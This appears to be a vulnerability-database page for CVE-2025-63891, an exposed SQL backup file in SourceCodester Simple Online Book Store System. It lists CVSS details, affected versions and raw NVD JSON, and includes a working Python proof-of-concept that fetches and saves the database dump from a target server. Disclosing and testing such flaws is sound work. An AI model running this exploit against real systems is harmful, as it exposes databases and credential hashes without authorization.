Security Vulnerability Report
中文
CVE-2025-63891 CVSS 7.5 HIGH

CVE-2025-63891

Published: 2025-11-14 21:15:45
Last Modified: 2025-11-19 18:55:51

Description

Information Disclosure in web-accessible backup file in SourceCodester Simple Online Book Store System allows a remote unauthenticated attacker to disclose full database contents (including schema and credential hashes) via an unauthenticated HTTP GET request to /obs/database/obs_db.sql.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:oretnom23:simple_online_book_store_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Simple Online Book Store System <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-63891 PoC - Information Disclosure in SourceCodester Simple Online Book Store System # Target: /obs/database/obs_db.sql # Author: Security Researcher # Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-63891 def exploit_cve_2025_63891(target_url): """ Exploit for CVE-2025-63891 This PoC demonstrates how an unauthenticated attacker can retrieve the database backup file containing sensitive information. Args: target_url: Base URL of the vulnerable application Returns: dict: Contains status, response headers, and database backup content """ # Construct the path to the vulnerable backup file backup_path = "/obs/database/obs_db.sql" full_url = target_url.rstrip('/') + backup_path headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*" } print(f"[*] Target: {full_url}") print(f"[*] Sending HTTP GET request...") try: # Send unauthenticated GET request to retrieve backup file response = requests.get(full_url, headers=headers, timeout=30, verify=False) result = { "status_code": response.status_code, "content_length": len(response.content), "content_type": response.headers.get('Content-Type', 'Unknown') } if response.status_code == 200: print(f"[+] SUCCESS: Database backup file retrieved!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Content Length: {len(response.content)} bytes") # Save the backup content with open("obs_db_backup.sql", "wb") as f: f.write(response.content) print(f"[+] Backup saved to: obs_db_backup.sql") # Display first 500 characters for verification content_preview = response.content.decode('utf-8', errors='ignore')[:500] print(f"\n[+] Content Preview:\n{content_preview}...") result["success"] = True result["backup_content"] = response.content.decode('utf-8', errors='ignore') else: print(f"[-] FAILED: Received status code {response.status_code}") result["success"] = False return result except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return {"success": False, "error": str(e)} # Example usage if __name__ == "__main__": # Replace with actual target URL target = "http://vulnerable-server.com" result = exploit_cve_2025_63891(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63891", "sourceIdentifier": "[email protected]", "published": "2025-11-14T21:15:45.223", "lastModified": "2025-11-19T18:55:50.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information Disclosure in web-accessible backup file in SourceCodester Simple Online Book Store System allows a remote unauthenticated attacker to disclose full database contents (including schema and credential hashes) via an unauthenticated HTTP GET request to /obs/database/obs_db.sql."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:simple_online_book_store_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B40E9E0E-EAC6-4992-9E9D-2B519E73E134"}]}]}], "references": [{"url": "http://simple.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://sourcecodester.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/lucascdsm/CVEs/blob/main/CVE-2025-63891.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}